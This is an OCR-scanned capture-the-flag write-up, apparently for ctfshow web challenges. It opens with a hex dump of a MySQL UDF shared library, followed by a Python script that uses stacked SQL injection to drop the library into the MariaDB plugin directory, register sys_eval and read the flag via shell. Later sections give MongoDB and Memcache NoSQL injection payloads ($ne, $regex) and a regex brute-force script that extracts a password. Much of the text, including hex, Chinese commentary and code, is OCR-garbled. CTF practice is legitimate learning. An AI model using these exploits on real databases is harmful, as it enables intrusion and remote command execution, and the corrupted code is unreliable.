30000000200000000000000E8050000000000COE8050000000000009D0100000000000VBAVVVVVBRVVVVBBAA100000000VBBVVVVVBBRVV0MY
000000048000000FFFFFF6F0200000000000000860700000000000086070000000000004A000000000000000300000000000000020000000
0000000020000000000000055000000FEFFFF6F0200000000000000D007000000000000DBO70000000000002000000000000000040000000
10000000800000000000000000000000B0V0VVV6400000004000000020000000000CVVVFBB700000BOVVVVOFB07000000000000600000000)
000000003000000000000000800000000000000180000000B0VVVVVE6E0000000400000002000000000000005008000000000000500800000
00000003801000000000000030000000A0BV0VV80000VVVBAVVVVV180000000000VBBA78000000010000000600000000000000880900000
0000000880900000000000018000000000000000VBAVVVVVBRVVVVVB4000000000000BV000VBRNVVVVBRVVV7300000001000000060000000
0000000A009000000000000A00900000000000OEB000000000000000000000000000000040000000000000010000000000000007ECBCOLQY
10000000600000000000000800A0000000V0VVV800AVVVBA0VVVVBACE06000000000000000000VVVBRVVVVV1000000BRVVVVBBAVVVVBBAAY
000000084000000010000000600000000000000481100000000000048110000000000000ECCCC00000CCCCVCCCCCCCCCCRLLRLBA0000000
000000000000000000000CO8A0000V00100000002000000000000005811000000000000581100000000CVVVECBRV0VVVBRVVVVBBRVVVVLAY
00000000800000000000000000000V0VVVBRVVV9200000001000000020000000000000044120000000000004412000000000000840000000
00000000000000000000000040000000000000000000000VBRVVVVVARVVVVBA10000000200000000000000C812000000000000C81200000
0000000F C010000000000000000000000VBRVVVV8BAVVVVVBAVVVVBEAVVVYBBAVVVYBROAALVERNVVD10000000300000000000000C81420000
0000000C814000000000000100000000000000VVVBAVVVVVBAVVVVRBE800VVBBAVVVVBRNVVVVBRNVVVVBRVVVB100000001000000030000000
0000000D814200000000000D8140000000000001000000000000000BA00VVVBAVVVVBRAVE80VBRNVVVVBRAVVVVBRNVVVVBRVVVVBBEAVVVLAY
10000000300000000000V0E814200000000000E81400000000000008000000000000000VBRVVVVVBAVVVVVBS0VVVLBAVVVVBBARVVVLBBAAY
0000000BD0000VBA10000000300000000VBRVVOFV14200000000000F0140000000000000800000000000V0VVVBRVVVVVBRVVVVLBSAVVVLAY
000000000000000000000CACALVRRVVV6000000030000000000VVVAF814200000000000F8140000000000008001000000000000040000000
000000008000000000000001000000000000000D300000001000000030000000000000078162000000000007816000000000000180000000
00000000000000000000000V8000000VVVBRVVVV8BAVVVVVBAVVVVBDEVVVVRRA100000V03000000000000009016200000000000901600000
000000080000000000000000000BRVVVVVBRVVVV8RRVVVVVBAVVVVREEVVVBRAVVVYRRAE1000000080000000300000000000000101720000
0000000101700000000000010000000000000000VBAVVVVVBAVVVVRBE00VVBBAVVVVBRNVVVVBRAVVVVBRVVVEEBRV00001000000300000000
00000000000000000000000101700000000000059000000000000000000000B0VVVVBRNV100000000V0RVVV0100000000000000110000000
3000000000000000000000000000000000VVVBA6917000000VVCAVVEFBBVVV0VBRVVVVVBAVVVVRERVVVVRRAA10000A0VVVBRAVVVVBRAV0MY
0000000010000000200000000000000000000000VBAVVVVVBAVVVVA581FVVBBRVVVVBRV68070000000000001BB0VVVV2CAVVVVLB80000VAY
00000001 80000000000000009000000030000000000000000000VVVBAVVVVBBNVVVVRRACH260000000000004203000000000000000000000
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0000000000000000000000000000VV3000200B80100000000VVVVBAVVVVBBAVVVVBRNVVVVERNVV30003007002000000000000000VV0VLBY
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00000000000000003000BRO8VVABRVVVVVBRVVVVVBAVVVVVBAVVVVRBAVVVVRRA3000CAN481100000000000000BRVVVVVBRVVVVLBRRVVVLAY
3000D00581100000000000000000000000000BAVVVVRRAVV300OENV441200000000000000000000RVVVVBBAVVVVBRA300OFVCE1200000
000000000000000000000000000000003001000C814200000000000000000000VVVVBRVVVVVRRNVV3001100D814200000000000000000V00Q
00000000000000003001200E81420000000000000000000000000000AVVVVVRA3001300F01420000000000000000000VBRVVVVLBRVVVAY
3001400F81420000000000000000000000000000000000003001500781620000000000000000000000VVBBRVVVVRRAV3001600901620000
0000000000000000000000000000000030017001017200000000000000000000VVVVBRVVVVVRRRVV3001800000000VVVBRVVVVLBRRVVYLAY
00000000100000002000BOO8VVABCVVVVVBRVVVVVBAVVVVVBAVVVVA110000000400F 1FFOV0VBRVVVVVBRRVVVVBRVVVVLERRVVA1CAVVLAY
1001000C81420000000000000000000000000002A00000001001100D81420000000000000000000VVVVVRCA3800000001001200E81420000
000000000000000000000004500000002000BOVACBAVVVVVBAVVVVVRAVVVVRRRVVVVRRA5B0VBRVVV10017001017200000000000010000000
00000006A00000001001700181720000000000008000000000000007800000002000BRV200BORVVVVVBRVVVVVBRVVVVVERRVVA110000000
400F 1FF000000000000000000000000000000008400000001001000D0142000000000000000000VVVVBRVVV9100000001000FLECA1400000
000000000000000000VVVRAIFVVRRVVV1001200E8142000000000000000000000VVVBROABVVERVVV2000BV1011000000000000CRVVVAY
0000000C10000000400F 1FF0000000000000000000000000000000BD4000000V100F1FF9016200000000000000000000CVVVVVVEABVVVLLQ
1001300F0142000000000000000000000000000F700000001001100E0142000000000000000000000000000040100000100F1FFF81420000)
000000000000000000000000DV1000012000BOOD10DVVVVVCRVVVVED100000CVVVVVRRA1501000012000BAV130FVVVVVBRVVVVV2FOVVVLLY
00000001E0100002000000000000000000000000000VVVVVBRVVVVB2DO1000020000000000VBRRVVVVBRVVVVLRRRVVVRERRVVR410100001]
2000C00481100000000000000000000000000004701000012000BOOASVFBBVVVVVERVVVVABRRVVVVERRVVB5701000012000000000000000)




©00000008D01000012000BOOB30FO0V0PVVRVVRV5501000000000000960100001200000000000VVPVVRVVRVVRLVRLVRRVRRVRRVOASV100001
2000B00950B00000000000VVA0000000000VYVACE601000012000BOOB50CR0VVVVBRVVVF1000000000000RED301000012000000000000000
0000000000000V VVRVVYVES010000120000000000000VVVVBRLYVVVRLYVVRBRLYVVRAFSV1000012000000000000000BVVRBRLYVRLAL
00000000D02000012000B004COBYVVVVVVVVVBB4900000000000000280200002200000000000000VVVVBRVVVRBRLVVVRRRVVVRB440200001
2000BOOA60D000000000000V2BOBVVVVVVRLYYVA5302000012000BOOEBOBBOVVVVBRVVVO5DVVVVBRVVVVRLRV6002000012000B0V480COVVOQ
0000000VA00000VVVVRRYVV6FB20000120000000000000VVVVBRLYVVVRRVVVRBRLYVRRRE302000012000BVV420FVVVVOBLVVRBE670000L00)
0000000910200001200000000000000000VVVBRVVVVVRVVVVBRLYVAS50200001200000000000000VVVVBRLVVRBRLYVVERRVVRBBOV200001
2000B00520C0000000000006300000000000000C10200001000F1FF101720000000000000000000000000B0CDO2000012000BOOIFOBOVVOQY
00000004 C00000VVVVVVVVVE30200001000F1FF201720000000000000000000000VVVVREE02000012000000000000000CVVVVRBRLVVRLAL
©000000FDV2000012000BOVO90FVVV0B0VVVVBRVAVVVRVVVVBRLVADA3000012000000000VVBRLVVVVBRLVVRBRLYVVRLRRYVRB220300001
©OOF1FF101720000000000000000000000000002903000012000000000000V0BVVVVVRLLVVRBRLYVVRRRYV3CA3000012000900880900000)
000000000V RVVVVVR63616C6C5F676D6F6ESF73746172740063727473747566662E63005F5F43544F525F4C4953545F5F005F5F 4
4544F525F4C4953545F5F005F5F4A43525F4C4953545F5F005F5F646F5F676C6F62616C5F64746F72735F61757800636F6D706C657465642)
E363335320064746F725F6964782E36333534006672616D655F64756D6D79005F5F43544F525FA54E445F5F005F5F4652414DA55F454E445
FS5FOO5F5F4A43525FA54E445F5F005F5F646F5F676C6F62616C5F63746F72735F617578006C69625F6D7973716C7564665F7379732E63005
FA474C4F42414C5F4F46465345545F5441424C455F005F5F64736F5F68616E646C65005F5F44544F525F454E445F5F005F44594E414D49430
©7379735F736574007379735F65786563005F5F676D6F6ES5F73746172745F5F005F4A765F5265676973746572436C6173736573005F66696)
E69007379735F6576616C5F6465696E6974006D616C6C6F634040474CA4942435F322E322E350073797374656D4040474C4942435F322E322)
E35007379735F657865635F696E6974007379735F6576616C0066676574734040474C4942435F322E322E35006C69625F6D7973716C75646
65F7379735F696E666F5F6465696E6974007379735F7365745F696E697400667265654040474C4942435F322E322E35007374726C656E404]
©474C4942435F322E322E350070636C6F73654040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F696
E6974005F5F6378615F66696E616C697A654040474C4942435F322E322E35007379735F7365745F6465696E6974007379735F6765745F696)
E6974007379735F6765745F6465696E6974006D656D6370794040474C4942435F322E322E35007379735F6576616C5F696E6974007365746)
S56E764040474C4942435F322E322E3500676574656E764040474C4942435F322E322E35007379735F676574005F5F6273735F73746172740
©6C69625F6D7973716C7564665F7379735F696E666FO05F656E64007374726E6370794040474C4942435F322E322E35007379735F6578656
35F6465696E6974007265616C6C6F634040474C4942435F322E322E35005F656461746100706F70656E4040474C4942435F322E322E35005)
F696E697400"

for i in range(0,21510, 5000):

end i 5000
payload.append(udf[i:end])

dict(zip(text, payload))

for t in text:

url = base_url+"?id=";select unhex('{}') into dumpfile '/usr/lib/mariadb/plugin/{}.txt"'--+&page=1&1imit=10".
format(p[t], t)

r = requests.get(url)

print(r.status_code)

next_url = base_url+"?id=";select concat(load_file('/usr/lib/mariadb/plugin/a.txt"'),load_file('/usr/lib/mariadb/
plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt"'),load _file('/usr/lib/mariadb/plugin/d.txt"'),load_file("
/usr/lib/mariadb/plugin/e.txt"')) into dumpfile '/usr/lib/mariadb/plugin/udf.so'-- +&page=1&limit=10"

rn = requests.get(next_url)

uaf_url=base_url+"?id=";CREATE FUNCTION sys_eval RETURNS STRING SONAME ‘'udf.so';--+"
r=requests.get(uaf_url)

nn_url base_url+"?id="';select sys eval('cat /flag.*');-- +&page=1&1limit=10"

rnn = requests.get(nn_url)

print(rnn.text)




web249——NOSQLE A

$user = $memcache->get($id);

Memcache::get

(PECL memcache >= 0.2.0)
Memcache:get — MRS imt@El—1 iR

iz

Memcache::get ( string $key , int &$flags = ? ) : string

Memcache::get ( array $keys , array §$flags = ? ) : array

MRIRS IR FiA L keyfEokeyf#iEHI7TE, Memcache:get())5 it aHREZ A7 MERIE.

fRETLAgEMemcache:get()/TiEER— MR (S key) SR — AR E, REZEANNEEMN RS iHERDIRkey-value
xd,

#—F Memcache: : get
FLERASEHANSREE - NRHAB TR

/api/?id[]=flag

web250——NOSQLF:A . $ne. $regex

$query = new MongoDB\Driver\Query($data);

$cursor = $manager->executeQuery('ctfshow.ctfshow_user', $query)->toArray();

if(count($cursor)>0){
$ret[ 'msg' =" BRI ;
array_push($ret[ 'data'], $flag);
¥

NoSQLEN/NEIL

AT 1R1H — NoSQLEN A2 2>

MongoDB&NOSQLHI—F, 44— T~Mongodbfd Hi M EIESRF:
$ne : 1=ARET

$regex : 1EM|JLHD

username|$ne]=1&password[$ne]=1
username| $regex]=.&password[ $regex]=.


http://rui0.cn/archives/609
https://www.anquanke.com/post/id/97211#h2-0

web251—NOSQLE A

BEB—HRESR, HEFEES ag

{"code™0,"msg":"\u767b\u9646\u6210\u529f ","count":1,"data":[{"_id":{"$oid":"6055b8e0bb7e8666c48fa0f6"},"username”:"admin”,"password":"ctfshowb66nnneeaaabbbcc"}]}

[® @] | FElements Console Sources Network Performance  Memory  Applicaion  Lighthouse  HackBar |

LOAD SPLIT EXECUTE TEST ~ sqQLl -~ Xss - LFI ~ SSTI ~ ENCODING ~ HASHING ~

URL
http://f900145a-9bab-4b3c-9fca-261cb3717e28.challenge.ctf.show:8080/api/

enctype
Enable POST application/x-www-form-urlencoded ADD HEADER

Body
username[$ne]=1&password[$ne]=1

{"code":0,"msg":"\u767b\u9646\u6210\u529f ","count:1,"data":[{" id":{"$oid":"6055b8e11d19a6499830fa80"},"username":"flag","password":"ctfshow{41113db5-a582-4dbd-ab56-
85a8609¢759}")]}

[® () CElements Console Sources Network  Performance  Memory  Application  Lighthouse  HackBar 2

LOAD SPLIT EXECUTE TEST ~ sqQLl - X8s -~ LFI ~ SSTI ~ ENCODING -~ HASHING ~

URL
http://f900145a-9bab-4b3c-9fca-261cb3717e28.challenge.ctf.show:8080/api/

enctype
Enable POST application/x-www-form-urlencoded ADD HEADER

Body
username[$ne]=admin&password[$ne]=1

MARUNEFIEN $regex MMEEBHER

web252——NOSQLE A

db.ctfshow_user.find({username: '$username’, password: '$password'}).pretty()

if(count($cursor)>0){

$ret['msg' ="' BRERI";
array_push($ret[ 'data'], $flag);




F $ne AP B AFEEAIT, #Al $regex

username[ $regex]=. *&password[$regex]=1

web252——NOSQLE A

db.ctfshow_user.find({username: '$username’,password: '$password'}).pretty()

if(count($cursor)>0){
$ret['msg' ="' BERERI";
array_push($ret[ 'data'], $flag);

44k sregex (HRIVIRARGZ \u767b\u9646\u6210\u529f , RE MR Unicodewty, HRB AR E. FrlAXEE AR
SEBAITEE, usernamesflag (RITH JLEHRZXHFE, FrLAENIXHEZ) password Bl IEM — A4 BiE

import requests
url="http://81040e32-fOba-4el17-b9eb-56848ad36c4c.challenge.ctf.show:8080/api/"
letter="-ctfshow@123456789abcdef{, }"
WEE
for i in range(1,100):

for j in letter:

payload="~{}.*$".format(flag+j)
data={
"username[$regex]":"flag",
"password[$regex]" :payload
b

res=requests.post(url,data).text

if r"\u767b\u9646\u5931\u8d25" not in res:
flag+=j
print(flag)
break

if j=="}":
print(flag+"--0UT")
exit()
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